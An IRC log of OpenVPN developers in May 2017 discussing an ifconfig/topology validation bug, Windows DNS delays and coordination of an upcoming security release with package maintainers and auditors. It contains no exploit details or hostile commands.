supposed to be a static IP) 04:28 <@d12fk> what's the issue? the warning in the log file or do you need connectivity for the virtual ip address? 04:36 <@dazo> d12fk: actually he could not establish a tunnel .... as the IP was peer-to-peer, with ifconfig LOCAL_VPN_IP REMOTE_VPN_IP while the client received --topology subnet 04:36 <@dazo> so it complained and stopped running 04:37 <@d12fk> does the check actually do somethign in 2.4 now? 04:38 <@dazo> the option parser are quite stricter in v2.4 04:38 <@dazo> s/are/is/ 04:39 <@dazo> I'll see if I can find the chat again in some scrollback ... it happened on #openvpn, iirc 04:45 <@dazo> d12fk: https://paste.fedoraproject.org/paste/IeKdqygUSpI-8q9qBGg8bl5M1UNdIGYhyRLivL9gydE= .... April 26! :) 04:53 <@ordex> dazo: so the problem is that the ifconfig push from the server is bogus, but this is not recognized and it is pushed anyway? 04:58 <@dazo> yeah, my memory failed me somehwat .... now it somehow gets misinterpreted ... so a non IP subnetmask with --topology subnet results in -1 05:04 <@ordex> yap, because the netmask parser fails on that non-netmask IP 05:05 <@ordex> but apparently we don't check such result and openvpn ends up executing the ip command anyway 05:05 <@ordex> I came across this while trying to convert everything to netbits :D (gosh) 05:06 <@d12fk> we're still on 2.3, there ovpn is just throwing an error but doesn't do aynthing about it. the source code has a todo mentioned 05:07 <@ordex> better than nothing :D 05:07 <@ordex> the question is: what is the expected behaviour? 05:07 <@ordex> throw an error and exit (onthe client), show a big warning on the server (if pushed via ccd) ? 05:08 <@d12fk> dazo: you can tell the guy to disable the static IP address on the connection, then it should work 05:22 <@dazo> d12fk: why does the PUSH_REPLY line contain --topology subnet while --ifconfig is not given a subnet mask? 05:23 <@dazo> static IP was not an option for this guy, for some reason 05:23 * dazo need to fetch some lunch 05:24 <@ordex> dazo: I think there is no check against the pushed option on the server? 05:26 <@ordex> (I imagine this ifconfig entry was given via ccd?) 05:31 <@d12fk> the ifconfig is there because the static peer IP feature is enabled 05:31 <@d12fk> and it is somewhat incompatible with the subnet thing 05:32 <@d12fk> because it assigns a IP from outside the pool 05:33 <@d12fk> so, we'll probably need to push a different topology for those site-to-site clients 05:35 <@ordex> d12fk: what option are you rreferring to with "static peer IP feature" 05:35 <@ordex> ? 05:37 <@d12fk> that's Sophos speak for push a ifconfig with a arbitrary IP to the client 06:13 <@dazo> d12fk: blood sugar on the rise, and I begin to recall this issue ... the server pushes the wrong information for ifconfig ... --topology is correct, but with a static IP configured in the appliance interface, it ends up not pushing subnet as the second argument but a peer-to-peer address 06:13 <@vpnHelper> RSS Update - tickets: #883: server connection leak <https://community.openvpn.net/openvpn/ticket/883> 06:58 <@ordex> dazo: how is reflected the "static ip from the appliance" into the openvpn configuration? with a ccd file for that client having the static ip in it ? I haven't grapsed this yet 06:58 <@ordex> *grasped 07:15 <@dazo> ordex: it's generated on-the-fly by a client-connect script, written by sophos I presume :) 07:18 <@dazo> ordex: here's the script ... https://pastebin.com/zP1HpwsW 07:20 * dazo is in particular fascinated by this: $PGSQL -Atc "commit;" 07:21 <@dazo> that is a plain NOP, as doing things like this with serialized psql calls .... makes it impossible to use SQL transactions ... 07:23 <@dazo> default config is to auto-commit whenever a change is done outside a transaction; there are no BEGIN, and that BEGIN gets a ROLLBACK if the client (psql) disconnects from the server - which happens after each command is run in this case 07:58 <@cron2> dazo: don't look too close at commercial software 08:09 <@dazo> hehehe :P 08:10 < slypknot> There is a test in multi.c: msg(D_MULTI_ERRORS, "MULTI ERROR: primary virtual IP for %s (%s) violates tunnel network/netmask constraint (%s/%s)", 08:10 < slypknot> There is a test in multi.c: msg(D_MULTI_ERRORS, "MULTI ERROR: primary virtual IP for %s (%s) violates tunnel network/netmask constraint (%s/%s)" 08:10 < slypknot> oops sorry about double post 08:11 < slypknot> anyway, that test is *not* run when --server 10.8.0.0 255.255.255.0 is not used and --ifconfig is used on the server 08:14 <@dazo> slypknot: that's not unexpected, as that test seems to be used only when parsing information pushed from the server 08:15 < slypknot> dazo: not so .. according to this post: https://forums.openvpn.net/viewtopic.php?f=6&t=24029 08:15 <@vpnHelper> Title: Trying to issue static IP#s outside of the "server block" via tun, without success. - OpenVPN Support Forum (at forums.openvpn.net) 08:15 < slypknot> the test is exec on the server in the log file posted 08:16 < slypknot> i presume "pushed from the server" you mean recieved by the client 08:17 <@dazo> actually it is used by the server too, in regards to pushing to clients as well 08:17 <@dazo> fun detail .... it is fully expected, but there's an unfixed "bug" which James have tagged: 08:17 <@dazo> /* JYFIXME -- this should cause the connection to fail */ 08:18 <@dazo> so the issue is that the client isn't rejected in this case 08:18 < slypknot> yes .. but only if --server is used (not if --mode server --tls-server --ifconfig is used) 08:18 <@dazo> uhh!? that's odd ... because --server expands to those ..... 08:18 <@dazo> I'll have a look later in the evening, must run for a train now 08:19 < slypknot> my setup uses the --ifconfig method and 2.5_git and it does not check if i send a bad ip add 08:19 < slypknot> ok later :) 08:22 <@cron2> the reason why this is a JFYFIXME is that this might look weird, but is actually a very nice way to play tricks with IP addresses and routing 08:22 * cron2 does this all the time, assign client IPs outside the server range - and yes, the server complains, but it works :-) 08:22 <@cron2> dazo: please do not make this a "real" error 08:52 < slypknot> cron2: dazo: perhaps "MULTI ERROR" could be "MULTI WARN" ? 11:08 <@ordex> aloha 11:09 <+krzee> ya its normal to assign outside the normal range for static ips and for firewall policy stuff 11:10 <+krzee> its even in the howto 11:36 < slypknot> krzee: where in the howto ? 11:36 <+krzee> http://openvpn.net/howto.html#policy 11:40 < slypknot> ah-ha .. "that" one ;) 11:50 <@d12fk> ordex: are you still working on the multi listen patch? 13:47 <@syzzer> valdikss: you were pushing huge routing tables during connection setup, right? 13:47 <@syzzer> how big were they? 20:30 <@ordex> d12fk: nope. lack of time .. has been put aside 20:50 <@ordex> d12fk: why? interested? --- Day changed Thu May 04 2017 00:30 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:30 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:08 <@cron2> dazo: mattock said "any day next week" is good for release - I'm not really available (full week meeting with long days), so this would be up to the two of you... 03:41 <@d12fk> ordex: yes interested, but lack of time and some resignation =) 04:17 <@dazo> cron2: no issues with release next week ... but we do need a meeting, and mattock have so far been ignoring our requests on for a suitable day ... 04:21 <@cron2> dazo: you, syzzer and mattock need to synchronize, but I don't think it needs to be a full-blown "community meeting" for that 04:21 <@cron2> but yeah, communication has been surprisingly difficult :) 04:22 <@dazo> yeah, fully agree :) 04:23 <@dazo> Need to do some accounting/reporting stuff now ... but will look at syzzer's updated patches after that 04:25 <@cron2> thanks (I "stared, reviewed, and tested" yesterday already, but another look is good) 07:22 <@mattock> I probably haven't checked the chat backlog far enough every day, as I've been paying (a bit) of attention to it 07:29 <@dazo> mattock: so, when would be a good time for us to have a quick release-update meeting with syzzer? 07:29 <@dazo> it might be syzzer is the one who is most busy these days though 07:34 <@syzzer> quite busy, yes 07:34 <@syzzer> but I should be able to squeeze in a short meeting :) 07:35 <@dazo> syzzer: what would be possible for you? I can even manage day-time too, if that fits all 07:41 <@syzzer> tonight or tomorrow night? 07:42 <@syzzer> tomorrow daytime is tricky 07:45 <@dazo> mattock: ^^^ ... I can possibly manage this evening 07:46 <@dazo> syzzer: tomorrow evening (19:00 CEST) mattock and I are in another meeting ... not sure mattock would appreciate yet another meeting after that one :-P 07:49 < slypknot> dazo: what was the name of your private vpn project please ? 07:50 < slypknot> euperion or something 07:50 <@dazo> eurephia 07:50 <@dazo> !eurephia 07:50 <@vpnHelper> "eurephia" is http://www.eurephia.net/ 07:50 < slypknot> thanks :) 07:51 * dazo need to set a side some spare time to work on that project a bit more 07:51 <@dazo> (on the other hand, those places it is deployed ... it works quite well) 07:51 < slypknot> cool 07:54 < slypknot> dazo: https://forums.openvpn.net/viewtopic.php?f=6&t=24029 07:54 <@vpnHelper> Title: Trying to issue static IP#s outside of the "server block" via tun, without success. - OpenVPN Support Forum (at forums.openvpn.net) 08:07 <@mattock> today at 17:30 CEST would work for me 08:08 <@mattock> I'll be leaving in ~15 mins but will be back in ~2,5 hours 08:14 < sagatak> dazo: interesting (eurephia). i should spend some time one of these days to document what i did with my deployment, it has some things in common, you might be able to use it 08:25 <@dazo> sagatak: cool! I'm eager to hear! 08:26 < slypknot> dazo: thanks ;) 08:30 <@syzzer> dazo, mattock: 17:30 works for me :) 08:33 <@dazo> okay, lets aim for that! 08:34 < sagatak> dazo: as a sneak peak: kerberos auth (AD), ldap integration (acl's based on AD group membership), and instead of iptables chains i went for ipsets (because i have waaaay too many rules, so i wanted the "speed"). so it sounds sort of similar, except i deferred the auth and the authorization "source" to AD, so it doesn't have to live on the servers themselves, but same aim in terms of granularity etc 08:36 <@dazo> sagatak: that is pretty much in the same track as eurephia ... LDAP is on my wish list, together with SSSD+FreeIPA support. SSSD can cache credentials if auth/ACL-backend is unavailable and IPA is basically AD for Linux environments 08:37 <@dazo> the ipset approach is also very much interesting ... I'm also pondering on firewalld support too, but unfortunately firewalld isn't really mature for more really advanced firewalling 08:37 < sagatak> dazo: yes. i was a bit reluctant about sssd, for reasons of simplicity/troubleshooting, but it makes a lot of sense, i've been considering it too 08:38 < slypknot> Does anybody here know if Android/iOS apps support "Certificate-Chains" ? 08:39 < sagatak> dazo: firewalld i haven't considered (and am not in a hurry to, honestly; iptables + ipsets sounds plenty enough to me, together with some tiny bash scripts or whatever one prefers; possibly tc would be a nice addition, but so far i didn't have to trouble myself with that) 08:39 <@dazo> slypknot: I'd expect that to work ... Haven't tested OpenVPN Connect, but I know OpenVPN for Android works with that 08:40 < slypknot> dazo: thanks again :) 08:41 <@dazo> cron2: I think we need to think of some more clever pre/post diff checks in t_client.sh ... my wlan interface changes MAC address every now and then (haven't checked why), especially when not connected .... but not sure what would be a good solution right now, filter out link/ether lines? 08:44 <@cron2> dazo: fix your wlan interface - it should never do that, as in "never!" 08:44 <@cron2> (but as a workaround, it might be needed to have configurable diff exclusion lines (diff -I ...) in the .rc file) 08:48 <@dazo> cron2: uhm ... it's a new feature ... a random MAC is now used when scanning the WLAN ... as a security/privacy protection ... 08:48 <@dazo> it's described far down in this one: https://www.hogarthuk.com/?q=node/18 08:48 <@vpnHelper> Title: NetworkManager Revisited - All your rebases are belong to us? | www.hogarthuk.com (at www.hogarthuk.com) 08:49 <@dazo> The "Return of the MAC" section 08:58 <@ordex> dazo: but the randomization should happen only at scan time. when connected it should always use the same mac (unless instructed otherwise) I believe 08:59 <@dazo> ordex: yeah, that's how I understand it too ... just at the office, I don't use WLAN, just wired 09:02 <@ordex> just wierd! 09:02 <@ordex> :) 09:03 <@dazo> heh :) 09:06 <@cron2> dazo: ugh. 09:07 <@cron2> but yeah, when "not connected" (as dazo said) it would be scanning half the time... 10:29 <@mattock> syzzer, dazo: I'm here now 10:30 <@mattock> ordex: what is weird is that weird is actually pronounced "wierd" :P 10:30 * dazo too 10:31 <@ordex> lol 10:31 <@ordex> that's really weird 10:31 * syzzer too 10:32 <@d12fk> in German a horse "wiehert", which can be considered weird in this context 10:34 <@mattock> hi guys! 10:34 <@mattock> ok so release planning 10:34 <@mattock> my schedule is pretty open next week 10:35 <@dazo> tue-fri is good on my side, I believe (unless there's some family planning I've not been made aware of) 10:36 <@dazo> but should we discuss the current state? Where are we? Where do we want to be? And how to get there? 10:36 <@mattock> tue-fri works for me 10:36 <@mattock> yes 10:36 <@mattock> I was about to ask 10:36 <@mattock> I don't see any blockers/hindrances at my end (e.g. need to tune release scripts or anything) 10:36 <@mattock> so things should "jus work" 10:36 <@dazo> I've reviewed syzzer's 3 patches for git master, I believe two of them needs to be rebased for release/2.3 as well 10:36 <@mattock> but patch-vise - where are we? 10:37 <@syzzer> then we just need to get 5.1 into master and 2.4, and 5.2 into master, 2.4 and 2.3. 10:37 <@cron2> dazo: ack, 5.2 needs to go into 2.3 as well, but syzzer wanted to send something for that 10:37 <@dazo> I don't know if we want more patches in v2.4.2 / v2.3.15 10:37 <@dazo> and what do we do about release/2.2? Should we do a source release only there? 10:37 <@mattock> yeah, definitely 10:37 <@syzzer> I should be able to do the rebasing of 5.2 to 2.3 this weekend 10:37 <@mattock> I don't even have the capability to produce 2.2 installers anymore 10:38 <@mattock> without excessive tinkering, that is 10:38 <@dazo> mattock: 2.2 are source code release only 10:38 <@dazo> (we don't ship 2.2 installers or any binary stuff there) 10:38 <@syzzer> hm, I think we should drop 2.2 all together now that we have 2.4 10:38 <@mattock> good point, and I agree 10:39 <@mattock> at best backport the patch to release/2.2 and not release any official tarballs 10:39 <@syzzer> yeah, that 10:39 <@dazo> works for me 10:40 <@mattock> can we set a release date today? 10:40 <@mattock> later next week just in case (thu-fri maybe)? 10:40 <@dazo> yes please :) Thursday? 10:40 <@mattock> sounds good to me 10:41 <@cron2> thursday sounds good (because it's a fairly light day for me) 10:41 <@cron2> so I *can* help if needed 10:41 <@dazo> great! 10:41 <@mattock> \o/ 10:41 <@cron2> regarding 2.2 -> backport the 2.3 patch, commit, push, done 10:41 <@dazo> yupp ... I see that is exactly what we did with 2.2.3 10:42 <@mattock> ...and mention the 2.2 patch in release announcement 10:42 <@syzzer> well, this was an efficient meeting! :p 10:42 <@mattock> one more thing so that this meeting will take more time 10:42 <@cron2> 2.2.3 actually had something like 8 patches from 2.2.2 :) 10:42 <@dazo> heh ... would anyone be capable of reviewing the copyright patches I've sent? 10:42 <@mattock> we need to inform various external entities (package maintainers, auditors, ostif...) 10:43 <@syzzer> I could, but I'll be focusing on the audit stuff first 10:43 <@syzzer> mattock: yeah, good point 10:43 <@mattock> I can take care of OSTIF, the Debian package maintainer and Chocolatey (=Windows) package maintainer 10:43 <@dazo> right, it would just be neat to get it into 2.4.2 as well ... it silences all various distribution checks everywhere 10:44 <@cron2> I'm not promising anything... but if you point me at the message id... 10:44 <@syzzer> I'd be grateful if I didn't have to coordinate the communication, but I can make time to review text etx 10:44 <@dazo> cron2: 20170329093648.10156-1-davids@openvpn.net 10:44 <@cron2> mattock: if you're at it, please mail m-a (mathias andree), he's the freebsd maintainer 10:44 <@mattock> do we need a release _time_ in addition to date? 10:44 <@mattock> cron2: ok, I can do that 10:44 <@syzzer> mattock: I think we do 10:44 <@dazo> I'll take care for Fedora stuff too 10:45 <@dazo> s/for/of/ 10:45 <@syzzer> something like 16:00 CEST ? 10:45 <@syzzer> that's 9:00 PST iirc 10:45 <@mattock> syzzer: should be doable, especially if I can get my hands on the tarballs early enough 10:45 <@dazo> yeah, makes sense 10:45 <@syzzer> oh, no, it's 7:00 PST '-) 10:46 <@dazo> mattock: How much time do you need? 10:46 <@mattock> if all goes well a typical release takes ~3 hours 10:46 <@syzzer> we should probably have the release ready on Wed, just push it out on Thu 10:47 <@mattock> most if time being spent building stuff and running it through tests 10:47 <@dazo> that's what I'm thinking too, syzzer :) 10:47 <@mattock> syzzer: definitely - that way _if_ something goes wrong we'll have some time to fix it 10:47 <@dazo> I'll have tarballs ready late Wed or very early Thu 10:47 <@cron2> so how do you plan to do the "send patches to list, send ACK" bit? do it in parallel to the actual release announcement? 10:48 <@dazo> cron2: good point! 10:48 <@mattock> also, it would be good to expose the patches to buildbot before release 10:48 <@dazo> Currently, the commits I have prepared does not carry any message-id tags 10:48 <@cron2> (which would work in this circumstances, as everyone involved is "close inner circle", and whoever distrusts the git can verify the patches) 10:49 <@cron2> mattock: I see no OS dependencies in these patches, so running make check on freebsd and linux should be good enough (= buildbot is good, but not something I insist on) 10:50 <@dazo> I think that makes sense 10:51 <@mattock> cron2: ok, good enough for me 10:51 <@syzzer> what about doing the send-patch-and-ack dance (plain-text) on security@ on Wed, later bounce the mails to the list? 10:52 <@dazo> syzzer: that can work 10:52 <@mattock> dazo: will you notify PIA? 10:52 <@syzzer> mattock will probably have to manually approve them on the list 10:52 <@dazo> mattock: I will do that! 10:53 <@mattock> dazo: noted 10:54 <@mattock> syzzer: how come? coming from some weird address or? 10:54 <@dazo> mattock: is it possible to add security@ as a valid sender (but not recipient) in on the -devel ML? 10:54 <@cron2> security isn't the sender if one of us bounces them 10:54 <@syzzer> mattock: because the list is not in the To: I think 10:55 <@cron2> ah 10:55 <@dazo> that's right, it's tied to the envelope header ... that's what I'm doing all the time with my patches 10:56 <@dazo> so ... yeah, that should work just doing the bounce from one of us who is signed up (can even use git send-email for that) 10:57 <@mattock> I don't think the security@openvpn.net ml frontend allows any fancy mail management 10:57 <@mattock> it's not GNU mailman, just some Rackspace thingy 10:57 <@syzzer> mattock: no, openvpn-devel@ will be the list that needs to be managed here 10:57 <@cron2> it might be that the @sourceforge lists moderate the mails if not into: 10:57 <@dazo> mattock: that's not what I asked ;-) I asked about on the mailman ML ;-) 10:58 <@mattock> ah, ok, ic 10:58 <@cron2> hrhr 10:58 <@dazo> but the point is moot now ... as if one of us bounces it, it'll work 10:58 <@cron2> that should work :) 11:02 <@mattock> should send a notice about the release date to openvpn-devel/openvpn-users/forums also? 11:02 <@mattock> mentioning that the release will contain security fixes 11:02 <@dazo> Lets do that on Monday 11:02 <@dazo> no need to stress people over this weekend 11:03 <@mattock> good point :) 11:03 <@dazo> I mean, if someone is already having issues with any of these fixes .... we would have heard about it already 11:03 <@dazo> having issues with any of the issues we've fixed, I tried to say 11:05 <@mattock> anything else we need to discuss? 11:05 <@syzzer> mattock: will you compile an announcement? 11:06 <@mattock> as this is pretty security-oriented release I would appreciate if somebody else could write down the details 11:06 <@mattock> I can do the "generic" part of the announcement 11:06 <@dazo> syzzer: as you will send your patches again on the ML .... remember to add a Changes.rst entry on the 5.2 issue. You added it to the 5.1 11:06 <@syzzer> dazo: good point 11:06 <@syzzer> will do 11:06 <@dazo> mattock: basically extract what's in Changes.rst :-P 11:07 <@mattock> we'd also need a wiki page for about the issues that got CVE's I think 11:07 <@mattock> dazo: ok, then I can extract it 11:07 <@dazo> syzzer: thx! 11:07 <@syzzer> mattock: that's actually the reason I preferred you to write the announcement - I have a tendency to write announcements that only people that already understand the issue understand :p 11:08 <@mattock> :P 11:08 <@syzzer> anyway, I'll try to cook something up 11:08 <@syzzer> maybe on dazo's cloud? makes it easy to collaborate privately 11:08 <@mattock> syzzer: if your text is not overly cryptic I can probably make it human-readable 11:08 <@dazo> sure, that'll work! 11:09 <@dazo> I'll create a new shared folder you can use 11:09 <@mattock> +1 11:09 <@syzzer> great! 11:10 <@dazo> I believe you should have a new folder available right now 11:11 <@syzzer> anything left to discuss? 11:11 <@dazo> Not from my side 11:12 <@mattock> dazo: I don't see any new folders 11:12 <@dazo> mattock: you logged in with your username/password? 11:13 <@mattock> probably not, just the share password 11:13 <@dazo> ahh, no that won't work ... it's not there :) 11:13 <@mattock> ah, now 11:13 <@mattock> got there 11:14 <@dazo> oh, one more thing .... the Response document we've been working on .... what do we do with that? 11:15 <@dazo> PIA got a preliminary status from me on the issues the CE report mentioned ... but that's about it, and not too far away from what we have in the document 11:15 <@mattock> I recall we wanted to correct some issues with one of the reports 11:16 <@mattock> with too hard wordings or something 11:16 <@dazo> right 11:16 <@syzzer> ah, damn, right 11:17 <@syzzer> I'll see if I can condense the response a bit 11:17 <@syzzer> we should probably try to get that out before the weekend 11:17 <@mattock> +1 11:17 <@syzzer> (europe time, such that US time they actually still read it) 11:18 <@syzzer> but I'm out now - have to get groceries before the shop closes 11:18 <@mattock> did we plan on sharing our own release announcement with OSTIF/PIA? 11:19 <@syzzer> I think so 11:19 <@mattock> syzzer: see you! 11:19 <@mattock> it would be good to have all announcement "in line" and not contradictory in details 11:19 <@dazo> mattock: that makes sense 11:19 <@mattock> then I think Monday would work for writing the release announcement(s) and forwarding them to the interested parties 11:20 <@mattock> lightens the load on Wed/Thu also 11:20 <@dazo> Yeah, agreed! 11:21 <@mattock> and on the same day notify the package maintainers 11:21 <@mattock> no ruined weekend, but several days of head start 11:22 <@mattock> I think we're starting to have a plan 11:22 <@dazo> :) 11:23 <@mattock1> let's see if I can upload a summary to owncloud 11:24 <@dazo> oh, there's the system() patch I sent to the sec list ... 11:25 <@dazo> mattock1: if it's a .txt or .odt files ... they can be edited directly in the web interface too 11:29 <@mattock1> I added a .txt file there with all the details 11:29 <@dazo> inside the folder? 11:30 <@mattock1> now it's in the security audit folder 11:30 <@mattock1> do you see it? 11:31 * dazo checks 11:31 <@dazo> yeah, the file appeared here now! 11:32 <@mattock1> great! 11:32 <@mattock1> ok, if there's nothing else I will go prepare some food 11:34 <@dazo> have fun! 11:34 <@mattock1> I will! 11:34 <@mattock1> laters! 12:57 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 240 seconds] 15:06 < valdikss> Uh 15:07 < valdikss> So guys it's not a good time to ask you to review my block-outside-dns fixes patch and include it into release? 15:07 < valdikss> https://sourceforge.net/p/openvpn/mailman/message/35822231/ 15:07 <@vpnHelper> Title: OpenVPN / Mailing Lists (at sourceforge.net) 15:10 <@dazo> valdikss: if you can get Selva to review it and ACK it, I think we can manage to include it (but no promises) ... but those of us working on the v2.4.2 currently have our plates quite full for reviewing it 15:12 < valdikss> dazo: Selva reviewed it previous two weeks. I followed his advices and this patch took several iterations. Now I publish it for someone other to review, as Selva said. 15:15 <@dazo> ahh .... I'll admit, as I'm not a Windows user/developer ... I don't have too much to contribute there, except for generic coding style and such ... this goes a bit too deep into Windows details for me to fully understand 15:15 <@dazo> d12fk: ^^^^ would you have a few spare cycles to review that patch? You might even consider it valuable for your users too! :) 15:15 <@dazo> s/users/customers/ :) 15:18 < valdikss> Would anyone whisper to me some details regarding recent vulnerability? Is it serious? Am I affected? 15:20 <@dazo> it is quite serious, but you would have noticed long ago if someone tried that attack vector against you. 15:21 <@cron2> it should be pointed out that it can never used as a remote code execution 15:21 <@dazo> So if your servers are running fine, no reasons to worry 15:27 < valdikss> Does it affect all 2.3 and 2.4 installations? 15:27 < valdikss> Or is it something which has been added recently? I'm still on 2.3.10. 15:35 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 15:35 <@dazo> Really, if this would be exploited against your servers ... I'd ensure you would notice it. You'd be quite annoyed. I am quite sure you can sleep tight all until we reveal the details on Thursday. 15:36 < Thermi> I get a lot of messages like that 15:36 < Thermi> Mai 04 22:30:09 thermi.consulting openvpn[4746]: Thu May 4 22:30:09 2017 70.119.22.129:57062 WARNING: Bad encapsulated packet length from peer (5635), which must be > 0 and <= 1627 -- please ensure that --tun-mtu or --link-mtu is equal on both peers -- this condition could also indicate a possible active attack on the TCP link -- [Attempting restart...] 15:36 < Thermi> Related? 15:36 < Thermi> It's a TCP server. 15:36 < Thermi> (Port 443) 15:37 <@cron2> no, but interesting nonetheless 15:38 <@dazo> that really smells like MTU issues ..... and what cron2 said, not related. 15:38 < Thermi> Alright, thanks. 15:38 <@dazo> Thermi: or it can be caused by incompatible --compress/--comp-lzo settings 15:38 < Thermi> Not an MTU issue. There's no legitimate client connected 15:39 < Thermi> I guess it's some TLS client/web crawler sending garbage after TLS is negotiated 15:39 <@dazo> yeah, that is not unlikely either 15:39 <@cron2> that is well possible 15:39 <@dazo> Perhaps we should check for HEAD/GET/PUT/PROP in the buffer before issuing that warning :) 15:43 <@dazo> Thermi: perhaps you could consider to just add --port-share and point it at a an appropriate public https server you have? 15:43 < Thermi> dazo: The only reason I would want to do that for is to get rid of the stupid log messages 15:43 < Thermi> I really don't care about the particular IP that openvpn instance is bound to. It's a special IP for it 15:43 <@dazo> yeah, I know :) 15:44 <@dazo> the web server could just repsond: "Get lost! Private Property! Beware of the cyber dogs!" 15:45 < Thermi> "Fuck off!" 15:45 < Thermi> >:D 15:54 < Thermi> I did that now. Let's see what happens. 15:55 < slypknot> Thermi: go for "Stuxnet installed succefully." 15:55 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 15:55 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 15:56 < Thermi> "Transferring child pornography"? 15:56 < valdikss> syzzer: valdikss: you were pushing huge routing tables during connection setup, right? < yep, up to 40000 15:56 < Thermi> Just to scare anyone away 15:56 < Thermi> and serve any picture as a goatsy 15:57 < Thermi> Can anyone ping thermi.consulting on IPv6, please and tell me if a response arrives? 15:57 < Thermi> I lost connectivity over IPv6 and need to figure out if it's my ISP or the server provider's fault 15:57 < Thermi> Well, the server running that domain did 15:58 < valdikss> dazo: Thursday = 11 May? 15:59 < valdikss> Is this a scheduled 2.4.2 release dare? 15:59 < valdikss> date* 15:59 < slypknot> Thermi: ping6 for thermi.consulting works ok 16:00 < Thermi> Well, not it does 16:00 < Thermi> *now 16:00 < Thermi> It's always at some time of the day that I can't reach it over IPv6 16:00 < Thermi> It's bugging me 16:00 < Thermi> I accessed it over KVM console and the pings don't even get there 16:00 < slypknot> Thermi: go here on ipv4 and do yourself : http://www.subnetonline.com/pages/ipv6-network-tools/online-ipv6-ping.php 16:00 <@vpnHelper> Title: Online Ping IPv6 - SubnetOnline.com (at www.subnetonline.com) 16:01 < valdikss> Probably not a proper place to ask, but anyway: do anyone know where to buy VPS without source IP filtering? 16:01 < Thermi> slypknot: Thanks, I'll bookmark the place 16:20 <@dazo> valdikss: yes 16:23 <@dazo> valdikss: I consider the date preliminary, in the sense that it may be postponed if something unexpected shows up .... but the chances for that are slim 18:27 < slypknot> valdikss: you around ? 18:27 < valdikss> slypknot: yep 18:27 < slypknot> hey :) 18:28 < slypknot> I wonder how long before M$ change DNS resolution again 18:29 < valdikss> slypknot: no idea, hope not really soon 18:29 < slypknot> i think a warning somewhere about DNS delays might not be more appropriate 18:29 < slypknot> ? 18:30 < valdikss> slypknot: you mean for the current version, somewhere on the wiki? 18:31 < slypknot> yes 18:31 < slypknot> maybe .. 18:31 < slypknot> i wonder if fighting M$ for DNS priority is a good idea at all 18:32 < slypknot> where as OpenVPN could just issue a warning that DNS over the VPN may have delays 18:32 < valdikss> slypknot: Oh no, it's almost not useable without that patch 18:32 < slypknot> wow ! 18:32 < slypknot> that bad 18:33 < valdikss> slypknot: I mean the delays are 5+ seconds 18:33 < valdikss> You would be pissed surfing the web with such delays 18:33 < slypknot> no doubt ! 18:33 < slypknot> I just wonder if there is a better approach .. 18:36 < valdikss> slypknot: well I tried disabling "Smart DNS resolution" and it worked only in some limited cases. Lowering metric seems to work fine and does not provide drawbacks 18:37 < slypknot> yes ,, i agree that it works for me .. for now ! 18:41 < slypknot> DNS is 'as ever' the devils asshole 18:44 < slypknot> valdikss: how about a local DNS bouncer process ? like with the openvpn DHCP 18:45 < slypknot> sounds a bit too hackerish .. 18:48 < slypknot> with --topology net30 the DNS could be assigned as (eg) 10.8.0.5 , as in --ifconfig-push 10.8.0.6 10.8.0.5 18:49 < slypknot> then server sends to DNS as configured 19:04 < slypknot> are M$ really pre-selecting interfaces for DNS ? 19:04 < slypknot> they send NTP out their ass ! 19:05 < slypknot> teah metric for now .. but for how long .. W10 has had some quiet surprises ! --- Day changed Fri May 05 2017 01:02 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:02 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 06:25 <@ordex> so silent today .... 06:25 <@ordex> :) 06:25 <@ordex> slypknot: nothing to complain about? :P 07:09 < slypknot> lol 07:09 < slypknot> I got plenty to complain about ;) 07:09 < slypknot> ordex: ^^ 07:13 < slypknot> I am testing : https://github.com/OpenVPN/openvpn/pull/87 07:13 < slypknot> https://github.com/OpenVPN/openvpn/pull/87 07:13 < slypknot> vpnHelper: wakey wakey .. 07:34 <@ordex> :) 08:08 -!- Netsplit *.net <-> *.split quits: @syzzer --- Log closed Fri May 05 08:19:52 2017 --- Log opened Fri May 05 08:20:27 2017 08:20 -!- Irssi: #openvpn-devel: Total of 33 nicks [9 ops, 0 halfops, 1 voices, 23 normal] 08:20 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 08:20 -!- Irssi: Join to #openvpn-devel was synced in 8 secs 08:32 -!- Netsplit *.net <-> *.split quits: @syzzer 08:32 -!- Netsplit over, joins: syzzer 08:32 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 08:37 <@cron2> syzzer: could you have a look at 08:37 <@cron2> From: Dirkjan Bussink <d.bussink@gmail.com> 08:37 <@cron2> Subject: [Openvpn-devel] Fix for OpenVPN MTU Tunnel computation bug for TLS reconnects 08:38 <@cron2> this looks like something NCP (or poor-man's NCP) introduced... 08:51 <@syzzer> cron2: yes, looks like it. I'll check it out during the weekend 09:49 <@syzzer> cron2: I'm working through the PIA response - could you check out OVPN-04-3 and review my analysis? 09:57 <@dazo> syzzer: hmmmm .... I wonder if something have happened with the shared file ... I don't see any updates there 10:06 <@syzzer> hm, I do? 10:06 <@syzzer> but I just closed and reopend, so you might see the changes now 10:07 <@dazo> yeah, I see something happened 10:07 <@syzzer> or do you mean about the analysis? The text says that you want someone else to look at it, so I decided to poke cron2 10:07 <@dazo> ahh! 10:08 <@dazo> okay, I thought you had added something there :) But now I see there are two persons looking at the document, so I think it's good now :) 10:09 <@syzzer> well I'm the other one 10:09 <@dazo> yeah :) 10:10 <@dazo> should I just re-post my plug-ins patch I sent to the sec-list to the public list? 10:12 <@syzzer> dazo: yeah, I think that's fine 10:13 <@dazo> will do! 10:14 <@dazo> syzzer: just thinking aloud (remembered our discussion on wiping passwords securely in plug-ins) ... what do you think about exposing secure_memzero() to plug-ins, similar to what we do with plugin_{log,vlog}()? 10:14 <@syzzer> ok, so I tried to condense the responses a bit 10:15 <@dazo> to avoid each plug-in needing to re-implement this 10:15 <@syzzer> yeah, sounds useful 10:15 <@dazo> I'll send a patch doing that too (should be quick to solve) 10:21 <@cron2> syzzer: where do I need to look? "Response PIA.odt"? 10:22 <@syzzer> cron2: yes 10:22 <@syzzer> or well, mostly in the preceding mail thread on security@ 10:23 <@syzzer> so you can hopefully change the text in the .odt to confirm my analysis ;-) 10:24 <@cron2> we should agree withourselves whether we call this 